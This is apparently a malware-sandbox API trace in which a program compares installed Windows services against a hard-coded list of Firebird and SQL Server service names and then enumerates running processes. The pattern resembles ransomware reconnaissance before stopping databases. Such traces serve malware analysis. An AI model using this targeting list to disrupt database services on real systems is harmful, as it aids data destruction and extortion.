[0109.486] lstrlenW (lpString="netprofm") returned 8 [0109.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0109.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0109.486] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0109.486] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0109.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0109.486] lstrlenW (lpString="NlaSvc") returned 6 [0109.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0109.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0109.486] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0109.486] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0109.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0109.486] lstrlenW (lpString="nsi") returned 3 [0109.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0109.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0109.486] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0109.486] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0109.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0109.486] lstrlenW (lpString="PcaSvc") returned 6 [0109.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0109.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0109.487] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0109.487] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0109.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0109.487] lstrlenW (lpString="PlugPlay") returned 8 [0109.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0109.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0109.487] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0109.487] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0109.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0109.487] lstrlenW (lpString="Power") returned 5 [0109.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0109.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0109.487] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0109.487] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0109.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0109.487] lstrlenW (lpString="ProfSvc") returned 7 [0109.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0109.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0109.488] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0109.488] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0109.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0109.488] lstrlenW (lpString="RpcEptMapper") returned 12 [0109.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0109.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0109.488] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0109.488] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0109.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0109.488] lstrlenW (lpString="RpcSs") returned 5 [0109.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0109.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0109.488] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0109.488] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0109.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0109.494] lstrlenW (lpString="SamSs") returned 5 [0109.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0109.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0109.494] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0109.494] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0109.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0109.494] lstrlenW (lpString="Schedule") returned 8 [0109.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0109.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0109.494] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0109.494] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0109.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0109.494] lstrlenW (lpString="SecurityHealthService") returned 21 [0109.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0109.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0109.494] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0109.494] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0109.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0109.494] lstrlenW (lpString="SENS") returned 4 [0109.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0109.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0109.494] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0109.494] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0109.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0109.495] lstrlenW (lpString="ShellHWDetection") returned 16 [0109.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0109.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0109.495] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0109.495] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0109.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0109.495] lstrlenW (lpString="Spooler") returned 7 [0109.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0109.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0109.495] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0109.495] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0109.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0109.495] lstrlenW (lpString="SSDPSRV") returned 7 [0109.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0109.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0109.495] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0109.495] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0109.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0109.495] lstrlenW (lpString="StateRepository") returned 15 [0109.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0109.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0109.495] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0109.495] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0109.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0109.495] lstrlenW (lpString="SysMain") returned 7 [0109.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0109.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0109.496] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0109.496] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0109.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x610a70 | out: hHeap=0x5b0000) returned 1 [0109.496] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2b4 [0109.501] Process32FirstW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0109.502] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0109.503] lstrlenW (lpString="System") returned 6 [0109.503] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0109.504] lstrlenW (lpString="smss.exe") returned 8 [0109.504] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0109.505] lstrlenW (lpString="csrss.exe") returned 9 [0109.505] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0109.506] lstrlenW (lpString="wininit.exe") returned 11 [0109.506] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0109.506] lstrlenW (lpString="csrss.exe") returned 9 [0109.506] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0109.507] lstrlenW (lpString="winlogon.exe") returned 12 [0109.507] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0109.508] lstrlenW (lpString="services.exe") returned 12 [0109.508] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0109.509] lstrlenW (lpString="lsass.exe") returned 9 [0109.509] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.510] lstrlenW (lpString="svchost.exe") returned 11 [0109.510] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0109.510] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0109.510] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0109.511] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0109.511] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.512] lstrlenW (lpString="svchost.exe") returned 11 [0109.512] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0109.513] lstrlenW (lpString="dwm.exe") returned 7 [0109.513] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.514] lstrlenW (lpString="svchost.exe") returned 11 [0109.514] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.514] lstrlenW (lpString="svchost.exe") returned 11 [0109.514] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.515] lstrlenW (lpString="svchost.exe") returned 11 [0109.515] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.516] lstrlenW (lpString="svchost.exe") returned 11 [0109.516] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.517] lstrlenW (lpString="svchost.exe") returned 11 [0109.517] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.518] lstrlenW (lpString="svchost.exe") returned 11 [0109.518] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.518] lstrlenW (lpString="svchost.exe") returned 11 [0109.518] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.519] lstrlenW (lpString="svchost.exe") returned 11 [0109.519] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.520] lstrlenW (lpString="svchost.exe") returned 11 [0109.520] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0109.521] lstrlenW (lpString="spoolsv.exe") returned 11 [0109.521] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.522] lstrlenW (lpString="svchost.exe") returned 11 [0109.522] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.522] lstrlenW (lpString="svchost.exe") returned 11 [0109.523] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0109.523] lstrlenW (lpString="audiodg.exe") returned 11 [0109.523] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0109.524] lstrlenW (lpString="sihost.exe") returned 10 [0109.524] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.525] lstrlenW (lpString="svchost.exe") returned 11 [0109.525] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0109.526] lstrlenW (lpString="taskhostw.exe") returned 13 [0109.526] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0109.527] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0109.527] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0109.527] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0109.528] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0109.528] lstrlenW (lpString="explorer.exe") returned 12 [0109.528] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0109.529] lstrlenW (lpString="Memory Compression") returned 18 [0109.529] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0109.530] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0109.530] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0109.531] lstrlenW (lpString="SearchUI.exe") returned 12 [0109.531] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0109.532] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0109.532] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0109.533] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0109.533] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0109.534] lstrlenW (lpString="taskhostw.exe") returned 13 [0109.534] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0109.583] lstrlenW (lpString="UsoClient.exe") returned 13 [0109.583] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0109.583] lstrlenW (lpString="taskhostw.exe") returned 13 [0109.583] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0109.584] lstrlenW (lpString="msoia.exe") returned 9 [0109.584] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0109.585] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0109.585] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0109.586] lstrlenW (lpString="msoia.exe") returned 9 [0109.586] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0109.587] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0109.587] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0109.588] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0109.588] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver fireplace subdivision.exe")) returned 1 [0109.588] lstrlenW (lpString="screensaver fireplace subdivision.exe") returned 37 [0109.588] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arc obviously.exe")) returned 1 [0109.589] lstrlenW (lpString="arc obviously.exe") returned 17 